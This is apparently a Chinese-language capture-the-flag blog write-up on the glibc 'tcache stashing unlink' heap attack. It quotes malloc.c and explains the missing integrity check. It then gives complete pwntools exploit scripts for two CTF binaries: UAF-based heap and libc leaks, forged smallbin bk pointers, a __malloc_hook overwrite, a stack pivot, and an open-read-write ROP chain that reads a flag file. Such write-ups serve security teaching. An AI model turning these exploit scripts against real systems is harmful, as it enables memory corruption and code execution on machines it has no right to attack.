tcache_stashing_unlink_attack

发布时间 2023-10-13 16:55:23作者: s4ndw1ch

tcache stashing unlink attack实现的效果和unsortedbin attack有点相似,可以向任意地址写一个较大的数

如果构造合理,还可以实现任意地址分配chunk

malloc.c : line 3635

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");

          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

源码里对第一个分配出来的 chunk 进行了链表完整性的检查,但是之后将 chunk 放入 tcache 里时并没有进行这个检查。bck->fd = bin 就可以实现任意地址处写进一个 main_arena 的值进去 如果我们可以控制 target_addr->fd 也就是 target_addr + 0x8 处为一个可写地址,我们也可以把他放进 tcache,达成任意地址分配 chunk 这种利用手法被叫做house of lore

效果1:任意地址写较大数

我们先看一下和unsortedbin attack类似的任意地址写较大数的效果

例题:BUUCTF-[2020 新春红包题]3

checksec

1

没开canary,开了沙箱

2

基本就是用orw去读出flag了

3

程序存在后门函数输入666进入,这里存在一个栈溢出,但是溢出空间只有0x10基本就是要利用栈迁移了

这里要触发栈溢出还需要满足上方的条件

(qword_4058 + 2048) > 0x7F0000000000LL && (qword_4058 + 2040) = 0
&&(qword_4058 + 2056) = 0

5

这个qword_4058是程序开始时建的大chunk内容都是0

6

所以我们现在需要去让qword_4058 + 2048 > 0x7F0000000000

7

free里存在UAF漏洞,我们可以借此去泄露heapbase和libcbase,并且这里申请chunk用的是calloc,可以越过tcache去smallbin中取chunk, 符合利用条件

泄露heapbase & libcbase

建7个0x410的chunk并释放填满0x410的tcachebin 再多建一个用于释放泄露libc

再向0x100大小的Tcache Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历

for i in range(7):
    add(0,4,'0x410')
    free(0)
add(0,4,'0x410')

for i in range(6):
    add(1,2,'0x100')
    free(1)
show(1)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x36f0
success('heap_base =============================>' +hex(heap_base))

free(0)
show(0)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base =============================>' +hex(libc_base))

8

此时bin中情况是unsortedbin中被放入一个0x410的chunk

放进2个smallbin

我们申请1次0x310后0x410的unsortedbin被切割剩0x100,再申请0x310时由于遍历unsortedbin时发现chunk大小不满足申请的,就会把其放入对应bin中也就是smallbin

add(2,3,'0x310')
add(2,3,'0x310')  #smallbin 1

9

add(3,4,'0x410')
add(1,3,'0x310')
free(3)

add(4,3,'0x310')
add(4,3,'0x310')  #smallbin 2

控制smallbin->bk触发漏洞

我们修改smallbin2的 bk 为 heap_base+0x250+0x800 也就是qword_4058 + 2048 -0x10,前面有0x250的tcache头也要加上,布置好堆布局后去calloc触发,那么qword_4058 + 2048 -0x10 -> fd = qword_4058 + 2048就会被写入main_arena + 336的地址

addr = heap_base+0x250+0x800 
smallbin1_addr=heap_base+0x31e0

payload=b'a'*(0x300)+p64(0) +p64(0x101) + p64(smallbin1_addr) + p64(addr)
edit(3,payload)

add(5,2,'0x100')

10

接下来可以利用后门函数了,我们再申请一个chunk写orwchain,再申请的chunk的malloc地址为

heap6 = heap_base + 0x4630 写好ropchain再走栈迁移即可

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373 

heap6 = heap_base + 0x4630
orw_chain = './flag'+'\x00\x00'
orw_chain += p64(pop_rdi_ret) + p64(heap6)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) 

orw_chain += p64(pop_rdi_ret) + p64(3) 
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) 
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["write"])

add(6,4,orw_chain)
payload = b'a'*0x80 + p64(heap6) + p64(leave_ret)
io.sendlineafter("Your input:",str(666).encode())
io.sendlineafter("What do you want to say?",payload)

io.interactive()

全部exp:

# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
io = process('./RedPacket_SoEasyPwn1')
elf = ELF('./RedPacket_SoEasyPwn1')
#libc = ELF('./libc.so.6')
libc = elf.libc


def add(index, choice, content):
	io.sendlineafter("Your input:",str(1).encode())
	io.sendlineafter("Please input the red packet idx: ",str(index).encode())
	io.sendlineafter("(1.0x10 2.0xf0 3.0x300 4.0x400): ",str(choice).encode())
	io.sendafter("Please input content: ",content)

def free(index):
	io.sendlineafter("Your input:",str(2).encode())
	io.sendlineafter("Please input the red packet idx: ",str(index).encode())

def edit(index, content):
	io.sendlineafter("Your input:",str(3).encode())
	io.sendlineafter("Please input the red packet idx: ",str(index).encode())
	io.sendafter("Please input content: ",content)

def show(index):
	io.sendlineafter("Your input:",str(4).encode())
	io.sendlineafter("Please input the red packet idx: ",str(index).encode())

for i in range(7):
    add(0,4,'0x410')
    free(0)
add(0,4,'0x410')

for i in range(6):
    add(1,2,'0x100')
    free(1)
show(1)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x36f0
success('heap_base =============================>' +hex(heap_base))

free(0)
show(0)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base =============================>' +hex(libc_base))

add(2,3,'0x310')
add(2,3,'0x310')  #smallbin 1

add(3,4,'0x410')
add(1,3,'0x310')
free(3)

add(4,3,'0x310')
add(4,3,'0x310')  #smallbin 2

addr = heap_base+0x250+0x800 
smallbin1_addr=heap_base+0x31e0

payload=b'a'*(0x300)+p64(0) +p64(0x101) + p64(smallbin1_addr) + p64(addr)
edit(3,payload)

add(5,2,'0x100')

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373 

heap6 = heap_base + 0x4630
orw_chain = './flag'+'\x00\x00'
orw_chain += p64(pop_rdi_ret) + p64(heap6)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) 

orw_chain += p64(pop_rdi_ret) + p64(3) 
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) 
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["write"])

add(6,4,orw_chain)
payload = b'a'*0x80 + p64(heap6) + p64(leave_ret)
io.sendlineafter("Your input:",str(666).encode())
io.sendlineafter("What do you want to say?",payload)

io.interactive()


11

效果2: 任意地址分配

例题:hitcon_ctf_2019_one_punch

解法1:错位写0x7f
checksec

12

13

15

后门函数的条件和上题类似,这里是要让qword_4030+32的位置大于6

16

qword_4030+32也就是heapbase + 0x30的位置就是tcache的0x220的count,我们可以像house of storm那样利用错位的方法把地址的高字节0x7f写进去进而可以使用malloc去申请tcache的bin

这里同样存在UAF那么构造方法和上面就如出一辙了,这里的edit是不限次数的,提前放进两个0x220的tcachebin改fd去攻击malloc_hook即可,但是这里的malloc_hook里写什么 我们要执行我们的orw_chain

gdb调试一下

exp写成这样io = gdb.debug('./hitcon_ctf_2019_one_punch'),malloc_hook里填个不合法的地址,比如0x1

# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
io = gdb.debug('./hitcon_ctf_2019_one_punch')
#io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc


def add(index, name):
	io.sendlineafter("> ",str(1).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",name)
	

def free(index):
	io.sendlineafter("> ",str(4).encode())
	io.sendlineafter("idx: ",str(index).encode())

def edit(index, content):
	io.sendlineafter("> ",str(2).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",content)

def show(index):
	io.sendlineafter("> ",str(3).encode())
	io.sendlineafter("idx: ",str(index).encode())

for i in range(7):
	add(0,'a'*0x400)
	free(0)
add(0,'a'*0x400)

for i in range(6):
	add(1,'a'*0xf0)
	free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0X26e0
success('heap_base =========================>'+hex(heap_base))

free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))

add(0,b'a'*0x300)
add(0,b'a'*0x300)  #smallbin 1

add(2,b'a'* 0x400)
add(1,b'a'* 0x100)
free(2)

add(1,b'a'*0x300)
add(1,b'a'*0x300)  #smallbin 2


payload = b'b'*(0x300) + p64(0) + p64(0x101) + p64(heap_base + 0x21d0) + p64(heap_base+0x20-5)
edit(2,payload)


add(1, 'flag'+'\x00'*(0x100-4))

for i in range(2):
    add(0,'a'*0x217)
    free(0)
add(2,'a'*0xf0)#tache trash unlink

def backdoor(content):
    io.sendlineafter('> ',str(50056))
    io.send(content)

malloc_hook = libc.sym['__malloc_hook'] + libc_base
edit(0,p64(malloc_hook))

backdoor(p64(0))

add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(0x1))

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373 

flag_addr=heap_base+0x3420


orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) 

orw_chain += p64(pop_rdi_ret) + p64(3) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["write"])

add(1,orw_chain)
io.interactive()


弹出调试界面后输入c继续执行,会断在0x1

17

rsp+0x48的位置是我们写入的orwchain,那么用ropper找一下这个gadget就好了

exp1:
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
#io = gdb.debug('./hitcon_ctf_2019_one_punch')
io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc


def add(index, name):
	io.sendlineafter("> ",str(1).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",name)
	

def free(index):
	io.sendlineafter("> ",str(4).encode())
	io.sendlineafter("idx: ",str(index).encode())

def edit(index, content):
	io.sendlineafter("> ",str(2).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",content)

def show(index):
	io.sendlineafter("> ",str(3).encode())
	io.sendlineafter("idx: ",str(index).encode())

for i in range(7):
	add(0,'a'*0x400)
	free(0)
add(0,'a'*0x400)

for i in range(6):
	add(1,'a'*0xf0)
	free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0X26e0
success('heap_base =========================>'+hex(heap_base))

free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))

add(0,b'a'*0x300)
add(0,b'a'*0x300)  #smallbin 1

add(2,b'a'* 0x400)
add(1,b'a'* 0x100)
free(2)

add(1,b'a'*0x300)
add(1,b'a'*0x300)  #smallbin 2


payload = b'b'*(0x300) + p64(0) + p64(0x101) + p64(heap_base + 0x21d0) + p64(heap_base+0x20-5)
edit(2,payload)


add(1, 'flag'+'\x00'*(0x100-4))

for i in range(2):
    add(0,'a'*0x217)
    free(0)
add(2,'a'*0xf0)#tache trash unlink

def backdoor(content):
    io.sendlineafter('> ',str(50056))
    io.send(content)

malloc_hook = libc.sym['__malloc_hook'] + libc_base
edit(0,p64(malloc_hook))

backdoor(p64(0))

add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(add_rsp_0x48))

pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373 

flag_addr=heap_base+0x3420


orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) 

orw_chain += p64(pop_rdi_ret) + p64(3) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["write"])

add(1,orw_chain)
io.interactive()

18

解法2:分配malloc_hook附近的chunk

这个解法和上述解法的不同之处在于,上述解法往tcache先填6个bin,这里是填入5个bin,再布局smallbin

for i in range(7):
	add(0,'a'*0x400)
	free(0)
add(0,'a'*0x400)

for i in range(5):
	add(1,'a'*0x210)
	free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2940
success('heap_base =========================>'+hex(heap_base))

free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))


add(1,b'c'*0x1e0)
add(1,b'a'*0x300)  #smallbin 1

19

如果像红包题我们构造的是0x100的smallbin,那么我们按照老套路,申请一个0x400,然后再申请0x300切割,再申请个0x300就把smallbin2放进去了,但是这里不行,因为我们在做切割的时候申请的大小是0x1e0,那么我们原先的0x220的smallbin是能满足需求的,就直接被切割申请走了

20

我们需要去伪造一个smallbin,伪造好fd和bk

presize为0,size为0x221,作为第二个smallbin,fd指向第一个放进的smallbin fd = heap_base + 0x20b0

bk指向我们想申请的地址,malloc_hook 附近,注意这个地址的bk位置也要是个合法地址,&malloc_hook - 0x38的位置就符合预期

21

再构造smallbin1的bk指向smallbin2就行了,我还在其中放入了flag字符串,为后面orw做准备

payload = p64(0) + p64(0x221) + p64(heap_base + 0x20b0) + p64(libc.sym['__malloc_hook']+libc_base - 0x38) + 'flag'+'\x00'*(0x1e0-0x20-4) + p64(0) + p64(0x221) + p64(0xdeadbeef) + p64(heap_base + 0x20b0 - 0x1e0)

22

现在我们去申请一个0x210即可触发tcache_stashing_unlink_attack

add(2,'a'*0x210)

23

接下来就和之前一样了改malloc_hook,执行orw

exp2:
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",28601)
#io = gdb.debug('./hitcon_ctf_2019_one_punch')
io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc


def add(index, name):
	io.sendlineafter("> ",str(1).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",name)
	

def free(index):
	io.sendlineafter("> ",str(4).encode())
	io.sendlineafter("idx: ",str(index).encode())

def edit(index, content):
	io.sendlineafter("> ",str(2).encode())
	io.sendlineafter("idx: ",str(index).encode())
	io.sendafter("hero name: ",content)

def show(index):
	io.sendlineafter("> ",str(3).encode())
	io.sendlineafter("idx: ",str(index).encode())

for i in range(7):
	add(0,'a'*0x400)
	free(0)
add(0,'a'*0x400)

for i in range(5):
	add(1,'a'*0x210)
	free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2940
success('heap_base =========================>'+hex(heap_base))

free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))


add(1,b'c'*0x1e0)
add(1,b'a'*0x300)  #smallbin 1


payload = p64(0) + p64(0x221) + p64(heap_base + 0x20b0) + p64(libc.sym['__malloc_hook']+libc_base - 0x38) + 'flag'+'\x00'*(0x1e0-0x20-4) + p64(0) + p64(0x221) + p64(0xdeadbeef) + p64(heap_base + 0x20b0 - 0x1e0)
edit(0,payload)

add(2,'a'*0x210)



def backdoor(content):
    io.sendlineafter('> ',str(50056))
    io.send(content)

add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(0)*5+p64(add_rsp_0x48))


pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373 

flag_addr=heap_base+0x1ef0


orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) 

orw_chain += p64(pop_rdi_ret) + p64(3) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["read"])

orw_chain += p64(pop_rdi_ret) + p64(1) 
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000) 
orw_chain += p64(pop_rdx_ret) + p64(0x30) 
orw_chain += p64(libc_base + libc.symbols["write"])

add(1,orw_chain)


io.interactive()

25

小结:

1.如果要任意地址写一个较大数,则tcache中先布置6个chunk,  再布置smallbin

2.如果要任意地址申请chunk,则tcache中先布置5个chunk,再布置smallbin